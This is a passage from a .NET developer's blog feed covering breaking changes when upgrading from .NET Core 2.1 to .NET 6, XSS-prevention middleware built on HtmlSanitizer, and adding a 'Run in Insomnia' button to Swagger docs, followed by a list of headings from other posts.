After saving, it’s highly likely that you’ll encounter 1000 errors and every file in your solution will be granted an honorary red squiggly underscore. To fix these issues, we’ll need to start by upgrading your solution packages to .NET 6-compatible versions.

Upgrading solution

If you have a global.json file in your solution, you’ll want to upgrade the sdk property. Eg:

    "sdk": {
        "version": "6.0.0"
    }

You can read more about global.json here. Essentially, this value is just used for CLI tools, but it makes sense to keep this set to the same version as defined in the projects themselves.

Upgrading packages

If you’re using Visual Studio (or Rider), right-click on your Solution and click Manage nuget packages. Specifically, we’re interested in packages which have an update available. You could try upgrading these one at a time starting with the Microsoft packages, or you can just YOLO it and upgrade everything at once, and deal with any issues that arise post-upgrade. Up to you how you prefer to tackle this step. Since this was just a hobby project, I just upgraded all the packages at once.

Upgrading MSBuild version in IDE

This step may only be applicable for Rider users. In my case, I needed to upgrade my MSBuild directory under Preferences -> Toolset and build as described here. You’ll likely want to choose the directory with the highest MSBuild version. Visual Studio users can probably skip this step.

After completing this step, I noticed the vast majority of my errors disappear. Note that you may also need to clean and rebuild your solution.

Microsoft.AspNetCore.App warning

  Microsoft.NET.Sdk.DefaultItems.Shared.targets(111, 5): [NETSDK1080] A PackageReference to Microsoft.AspNetCore.App is not necessary when targeting .NET Core 3.0 or higher. If Microsoft.NET.Sdk.Web is used, the shared framework will be referenced automatically. Otherwise, the PackageReference should be replaced with a FrameworkReference.

This is more of a warning than an error, but it’s still good to address this. Find any existing package reference to Microsoft.AspNetCore.App and remove it, since it’s now redundant. This will likely be in your top-level API projects.

Entity Framework breaking changes

1. builder.UseMySql(string) no longer exists.

This may or may not affect other SQL variants, but the UseMysql(string) extension method on DbContextOptionsBuilder now requires a second parameter, which specifies the server version. An easy fix just to get things compiling again is to auto-detect the version. Eg: builder.UseMySql(connectionString, ServerVersion.AutoDetect(connectionString));.

2. Relational() missing from IMutableProperty

If you were setting an explicit database column type (eg for decimal precision), you may have noticed that Relational() is missing from IMutableProperty. You can replace this with a call to SetColumnType(string) instead.

3. String.Format cannot be translated to SQL

In .NET Core 2.1, I had some LINQ-To-SQL queries that looked like:

await _dbContext.SomeDbSet
    .Where(a => a.SomeID == id)
    .Select(a => new
    {
        a.SomeID,
        // ...

        Name = a.NavigationProperty == null ?
            "" :
            $"{a.NavigationProperty.FirstName} {a.NavigationProperty.LastName}"

In .NET 6 (or somewhere along the line), this stopped being supported, so I need to retrieve both values and perform the concatenation in-code after the query results are returned.

4. Unable to return nested queryables

I had a data structure that looks like:

    private class ListItemsQuery
    {
        public Item Item { get; set; }
        public IQueryable<SubItem> SubItems { get; set; }
    }

And in .NET Core 2.1, I was able to return an IQueryable<ListItemsQuery> which itself contains an IQueryable<SubItem> property. In .NET 6 though, this was producing the following:

The query contains a projection '<>h __TransparentIdentifier1 => <>h__ TransparentIdentifier1.a' of type 'IQueryable<SubItem>'. Collections in the final projection must be an 'IEnumerable<T>' type such as 'List<T>'. Consider using 'ToList' or some other mechanism to convert the 'IQueryable<T>' or 'IOrderedEnumerable<T>' into an 'IEnumerable<T>'.

Changing the nested IQueryable to a List worked fine - though it means that part of the query does need to be materialised earlier than it was before. There were a couple of other complex LINQ queries that needed to be fixed up as well.

Swagger breaking changes

5. Cannot resolve symbol Info

Simply change to OpenApiInfo.

6. Cannot resolve symbol ApiKeyScheme

Simply change to OpenApiSecurityScheme. However, the In and Type properties also have breaking changes.

In was previously a string, and is now a type of ParameterLocation. Replace the string "header" with ParameterLocation.Header.Type was also previously a string, and is now a type of SecuritySchemeType. Replace the previous string with SecuritySchemeType.Http, or other value as appropriate.

7. DocExpansion signature change

This changed from a string to a DocExpansion enum value.

8. SwaggerResponse attribute missing

This can simply be replaced with ProducesResponseType.

9. SwaggerOperation attribute missing

Basically, all of the Swagger-specific attributes were extracted to Swashbuckle.AspNetCore.Annotations. Often, these aren’t needed and you can get away with just using .NET Core attrubutes (like ProducesResponseType), but you can install the swashbuckle annotations package if you want to.

Startup breaking changes

10. CorsAuthorizationFilterFactory missing

We can simply remove the Mvc filter.

11. CORS Policy changes

If you were using CorsPolicyBuilder with a very open policy, allowing both a header and credentials, you’ll likely receive something similar to the following exception:

Application startup exception: System.InvalidOperationException: The CORS protocol does not allow specifying a wildcard (any) origin and credentials at the same time. Configure the CORS policy by listing individual origins if credentials needs to be supported.

This can be easily resolved by removing either the call to AllowCredentials or the call to AllowAnyOrigin, depending on your circumstances. Eg:

    var corsBuilder = new CorsPolicyBuilder();
    corsBuilder.AllowAnyHeader();
    corsBuilder.AllowAnyMethod();
    corsBuilder.AllowAnyOrigin(); 
    //corsBuilder.AllowCredentials();

12. IHostingEnvironment obsolete

Simply replace with IWebHostEnvironment.

13. MVC Changes

Replace AddMvc() with AddControllers() (assuming you have an API project). The difference is discussed in a bit more detail here.

You’ll also want to replace your app.UseMvc() line with:

    app.UseRouting();
    app.UseEndpoints(opts =>
    {
        opts.MapControllers();
    });

This is basically for performance reasons, and consistency with newer code samples and practices. UseRouting() must appear before UseEndpoints() to avoid an exception on startup.

Miscellaneous

14. NodeServices GONE

It looks like though a lot of developers were using NodeServices to invoke custom NodeJS logic from C#, the main purpose of NodeServices was actually for SSR of SPAs served from .NET APIs. Since the landscape of most SPAs has now changed to include command line tooling (eg: Angular, React), NodeServices has been removed. This is discussed in a bit more detail here. At this stage, it looks like the simplest replacement for NodeServices is a 3rd-party package called Javascript.NodeJS, though it does seem to be well maintained.

The instead of injecting INodeServices, you inject INodeJSService. The API is quite similar, but the internals do have some pretty big differences. In my case, I was using a NodeJS library to render reports, so I was passing in an HTML template string and expecting back a byte array. This doesn’t play well out-of-the-box with Javascript.NodeJS, as it expects the input to be a JSON string. You can get it working, but it does take some tweaking.

15. Incompatible packages

So far, only MSBump, though this has since been archived by the project maintainer anyway.

16. ServiceFilter stack overflow

Quite similar to this post, I was previously using service filters to create filters that would support controller dependencies. According to the reply from Microsoft, they recommend implementing an IFilterFactory, but I found that simply removing ServiceFilterAttribute from the attribute implementation solved the problem. i.e - simply have your attribute implement IAsyncAuthorizationFilter or IAsyncActionFilter as needed, without extending ServiceFilterAttribute, which was the recommended approach in .NET Core 2.1 (or at least it worked in 2.1).

17. Model Binding

It looks like numbers can no longer be implicitly deserialised as strings. Eg given the following data model:

    public class AddressModel
    {
        [StringLength(4)]
        public string PostCode { get; set; } = "";
    }

and the following payload:

{ "postCode":2145 }

This results in the following 400 response:

{"type":"https://tools.ietf.org/html/rfc7231#section-6.5.1","title":"One or more validation errors occurred.","status":400,"traceId":"00-9d782bbecbc2107262258e79a7df080e-8d29b1c98b0ea23e-00","errors":{"$.address.postCode":["The JSON value could not be converted to System.String. Path: $.address.postCode | LineNumber: 0 | BytePositionInLine: 151."]}}

This looks like a side-effect of .NET Core 3 swapping out Newtonsoft.Json for System.Text.Json as the default JSON serialiser. Installing Microsoft.AspNetCore.Mvc.NewtonsoftJson and adding AddNewtonsoftJson() to your existing AddControllers() line in Startup::ConfigureServices() appears to fix this. If you were using .NET Core 2.1, Newtonsoft.Json was the default JSON serialiser then anyway, so it might make sense to keep this consistent anyway just to prevent little issues like this from popping up.

Anyway, that was pretty much it! It took me about an hour to do the upgrade and then a few hours to fix the issues that cropped up. The biggest breaking change was by far the dropping of Node Services, but there were also some Entity Framework and JSON serialisation changes to be on the look out for. Long story short, the upgrade itself doesn’t take long - but you should be prepared to spend some time catching and fixing little things that broke as a result of the upgrade.

Have you noticed anything else that broke or changed significantly between .NET Core 2.1 and .NET 6? Let me know in the comments! Have a happy new year, and see you in 2022!

Catch ya!

Preventing XSS in .NET Core Web Apis

Jason Sultana — Sat, 25 Sep 2021 23:34:00 +0000

G’day guys!

Guess what? If you’re developing an ASP.NET Web API project and haven’t taken steps to protect it against XSS (Cross Site Scripting), then unfortunately you’ve got a security hole on your hands.

You can read more about XSS (and some platform agnostic techniques to prevent it) on the OWASP website here and here, but long story short, XSS involves your API saving user-submitted data containing malicious HTML or JavaScript, and potentially exposing another endpoint that returns the data as-is. The script that the user submitted then gets returned to the browser of another user and wreaks havoc in some way - potentially defacing your service for them, scraping private data from the page and sending it over the wire, or whatever other nasties they can think of.

Now, it’s true that most modern browsers and front-end frameworks will often have security mechanisms that prevent rendering untrusted html (eg CSP and Angular’s DomSanitizer), but that doesn’t mean we should just delegate the responsibility of security to the front-end; the API plays a part in this as well, and ought to be secured.

Hold up, doesn’t ASP.NET take care of this for us?

It used to (to a certain extent), so I’d forgive you for thinking this was the case. As described on the OWASP website, ASP.NET used to come with a Request Validation feature that was enabled by default for Web Forms (remember those!) and MVC projects, but this has never been supported for Web API projects. For the life of me I haven’t been able to find why , so if you do happen to know - please let me know in the comments. The sad fact is that nowadays the vast majority of ASP.NET applications are likely to be APIs, so it’s a shame that Request Validation is no longer available for us. When it comes to preventing XSS, we’re on our own.

Well, crap. What do we do now?

There are basically two approaches you can take with XSS; either sanitise (or reject) the input, and/or encode the output.

One very reputable package that’s recommended for sanitisation is HtmlSanitizer, which is even listed on the OWASP website. Basic usage looks something like:

var sanitizer = new HtmlSanitizer();
sanitizer.AllowedAttributes.Add("class");
var sanitized = sanitizer.Sanitize(html);

The sanitiser (yep, that’s how I’m spelling it) can be configured with a whitelist of supported attributes and tags and then invoked to strip attributes and tags that aren’t whitelisted from the source string. While this library is a pretty much unanimously recommended package, out-of-the-box it does mean that you need to sanitise each field individually.

You’re kidding, right?

Sadly, no. There are some approaches you can take to have the sanitiser run on every request, but as far as I’ve seen, there isn’t any built-in support for this by ASP.NET or by the package itself. I’ll show you a couple of samples for this, but you can download and run the entire sample project by cloning it from github.

JSON Converter

One (albeit naieve) approach for sanitising the content either coming in or going out of the API is to use a custom JSON converter. To achieve this, first create a new class (eg: AntiXssConverter) with the following content:

   public class AntiXssConverter : JsonConverter<string>
    {
        public override string? Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options)
        {
            var sanitiser = new HtmlSanitizer();
            var raw = reader.GetString();
            var sanitised = sanitiser.Sanitize(raw);

            if (raw == sanitised)
                return sanitised;

            throw new BadRequestException("XSS injection detected.");
        }

        public override void Write(Utf8JsonWriter writer, string value, JsonSerializerOptions options)
        {
            writer.WriteStringValue(value);
        }
    }

Note that this converter is based on the System.Text.Json serialiser that ships by default with .NET Core 3.1 and above. If you’re using the Newtonsoft.Json converter, the principle will still be the same, but the implementation will likely differ slightly.

Essentially what we’re doing here is providing a strategy for reading string values whenever a JSON string is deserialised (eg: during model binding) and writing string values when an object is serialised (eg: when a controller returns a response). In this particular example, we’re using the HtmlSanitizer package introduced earlier to sanitise each string, and if the sanitised string differs from the original, we throw a custom BadRequestException, denying the request with a HTTP 400 (handled by custom exception handling middleware). Another approach we could have taken is to simply sanitise the string and allow the request, or to save the string as-is and sanitise (or encode) it on serialisation in the Write method.

In Startup.cs, we’d need to register the converter in ConfigureServices(...) like so:

    services
        .AddControllers()
        .AddJsonOptions(options=> 
        {  
            options.JsonSerializerOptions.Converters.Add(new AntiXssConverter());
        });

This approach works for simple objects, nested objects and collections. However, it does have two fairly serious drawbacks:

This logic needs to run for every string in the request. If the payload is a large object with many string properties, this could become quite inefficient.
Our XSS validation / sanitisation is coupled to JSON; if the user were to submit url-encoded content or multipart/form-data content (which could quite realistically be the case if we have endpoints that deal with file uploads), then other parts of our application may still be at risk.

ASP.NET Middleware

A more efficient and more versatile approach might be to sanitise and validate the entire request body through a middleware. This has the advantages of:

It only runs once for each request - so it should be significantly faster than using the JSON converter approach.
It’s not coupled to any particular content type. Regardless of whether the endpoint uses JSON, formdata or any other medium, the request will still be sanitised and validated.

To implement this, create a new class called AntiXssMiddleware with the following content:

    public class AntiXssMiddleware
    {
        private readonly RequestDelegate _next;

        public AntiXssMiddleware(RequestDelegate next)
        {
            _next = next;
        }

        public async Task Invoke(HttpContext httpContext)
        {
            // enable buffering so that the request can be read by the model binders next
            httpContext.Request.EnableBuffering(); 

            // leaveOpen: true to leave the stream open after disposing, so it can be read by the model binders
            using (var streamReader = new StreamReader(httpContext.Request.Body, Encoding.UTF8, leaveOpen: true))
            {
                var raw = await streamReader.ReadToEndAsync();
                var sanitiser = new HtmlSanitizer();
                var sanitised = sanitiser.Sanitize(raw);

                if (raw != sanitised)
                {
                    throw new BadRequestException("XSS injection detected from middleware.");
                }
            }

            // rewind the stream for the next middleware
            httpContext.Request.Body.Seek(0, SeekOrigin.Begin);
            await _next.Invoke(httpContext);
        }
    }

Don’t forget to register it in Startup.cs under Configure(...):

    app.UseMiddleware<AntiXssMiddleware>();

If you happen to be using a custom exception handling middleware, this needs to be registered after that.

In our middleware, we’ve taken the same approach as in our JSON converter of validating the request and throwing a bad request exception if the validation failed. I’ve found this to be about 50% faster than the JSON converter, even for a contrived example of a single-string model.

Anyway, this is just one suggestion for how one might (aggressively) protect against XSS in your API. This is of course just a simple example - if you’re building any sort of API that expects HTML content being passed, such as a CMS, you’ll likely need to configure the HtmlSanitizer with a whitelist of allowed tags and attributes.

How do you deal with XSS in your own API? Let me know in the comments!

Catch ya!

Creating an Insomnia-First Swagger Page

Jason Sultana — Sat, 18 Sep 2021 23:45:00 +0000

G’day guys!

Today I wanted to show you all how to create an Insomnia-First swagger page, so your API can easily be consumed by Insomnia, all in one go.

Hey! I don’t have insomnia!

When you read insomnia here, I’d forgive you for thinking of sleepless nights or the edgy song from the 90s - but I’m actually talking about Insomnia the REST client. That’s right! Move over Postman, you’ve got some competition!

Hold up, what’s wrong with Postman?

An obsession with tabs? Clunky UX? A slow startup? Don’t get me wrong - I think Postman offers a very robust product that’s a useful tool for the right job. Their test runner in particular is very full-featured, and is probably in the toolbox of every QA / QE. But for us software devs, I think it’s overkill. Insomnia starts faster, is easier to navigate and simpler to use - in my humble opinion.

OK - What’s this got to do with Swagger?

See this beautiful Run in Insomnia button? When you hit that, Insomnia will open up and ask you if you want to import the collection, making it super-easy to put together a comprehensive collection of API endpoints. Say goodbye to importing a curl for each endpoint individually.

Impressive! How do we add that button?

Visit https://insomnia.rest/create-run-button and enter your API settings. The Import URL will likely depend on your implementation. For dotnet projects, this tends to be a swagger.json file. Since this particular example is a NestJS project running on express, the swagger schema is available under an api-json endpoint instead.

In any case, what you want to do it to take the HTML snippet that the previous page has generated for you and set it as the description of your swagger spec. How to do this will of course also vary depending on your stack, but in NestJS, a full swagger config sample might look like this (in main.ts):

  const app = await NestFactory.create(AppModule);

  // Swagger setup
  const config = new DocumentBuilder()
    .setTitle('My API')
    .setDescription('My API specification')
    .setVersion('1.0')
    .addTag('app', '')
    .setDescription('<a href="https://insomnia.rest/run/?label=My%20API&uri=http%3A%2F%2Flocalhost%3A3001%2Fapi-json" target="_blank"><img src="https://insomnia.rest/images/run.svg" alt="Run in Insomnia"></a>')
    .build();

  const document = SwaggerModule.createDocument(app, config);
  SwaggerModule.setup('api', app, document);

  await app.listen(3001);

And because the description is just HTML, you’re of course free to add content before or after the button.

The result?

As you can see here, my endpoint (with a sample body and other variables like the baseUrl) has been imported, contained within a folder as identified by the tag in the swagger spec. This probably doesn’t look too impressive with just a single endpoint - but imagine a real application with half a dozen (or more) tags and dozens of endpoints. Being able to import the entire thing into your REST client with the click of a button sure is cool! And to top it all off, it’s not just any old REST client - it’s Insomnia! 😎

Anyway, that’s all from me for today. Happy coding!

Catch ya!

DEV Community: Jason Sultana

Cross Site Scripting (XSS)

Stored XSS

Unstored XSS

What exactly is ‘Cross Site’ about XSS?

Prevention

Integer overflow vulnerabilities in .NET

Picking on .NET now, are we?

Alright already, show us the vulnerability

Duh. How is that a vulnerability, though?

Okay, that makes sense. But surely libraries and frameworks already handle this?

Fair enough! So how do we prevent it?

1. Manually check that the value is in range before copying it.

2. Use a checked block

3. Turn on CheckForOverflowUnderflow in the project settings

File Injection and Path Traversal vulnerabilities

Local File Injection

Remote File Injection

Path Traversal

Prevention?

Useful reading

Reviewing Newline Injection

CRLF-a-what now?

Wait, you’re telling me that new lines are dangerous?

Server Logs

SMTP Messages

HTTP Messages

Fair enough. So what makes this a problem?

Hold up, shouldn’t my framework or client library handle this for me?

So what’s the answer?

Can’t we replace newlines instead of url-encoding them?

Re-usable mocks in .NET using Moq

What are mocks again?

Writing mocks with…Moq

Sounds good! What’s wrong with this?

Adding Configuration to .NET 6 Projects using the IOptions pattern

Let’s start with the API

Step 1: Add config

Step 2: Add a strongly typed config class

Step 3: Register config in Program.cs

Step 4: Profit?

Hey, what about for non-API projects?

Step 1: Add packages

Step 2: Add Config file

Step 3: Profit?

Adding Dependency Injection to your .NET Console Apps (and tests)

First, lets order some packages

Add your app settings

Set it all up

That’s great, but how do I actually create the IServiceCollection instance?

Putting it all together

Writing unit tests for EF Core

Bro, do you even Moq?

Running Puppeteer under Docker

Dance monkey, dance monkey, dance…wait, what?

Hold up, let’s see your docker setup first.

Show me the errors!

Upgrading from .NET Core 2.1 to .NET 6.0

If it ain’t broke, don’t fix it?

Which version should I upgrade to?

Installing .NET 6

Upgrading projects

Upgrading solution

Upgrading packages

Upgrading MSBuild version in IDE

Microsoft.AspNetCore.App warning

Entity Framework breaking changes

1. builder.UseMySql(string) no longer exists.

2. Relational() missing from IMutableProperty

3. String.Format cannot be translated to SQL

4. Unable to return nested queryables

Swagger breaking changes

5. Cannot resolve symbol Info

6. Cannot resolve symbol ApiKeyScheme

7. DocExpansion signature change

8. SwaggerResponse attribute missing

9. SwaggerOperation attribute missing

Startup breaking changes

10. CorsAuthorizationFilterFactory missing

11. CORS Policy changes

3. Turn on `CheckForOverflowUnderflow` in the project settings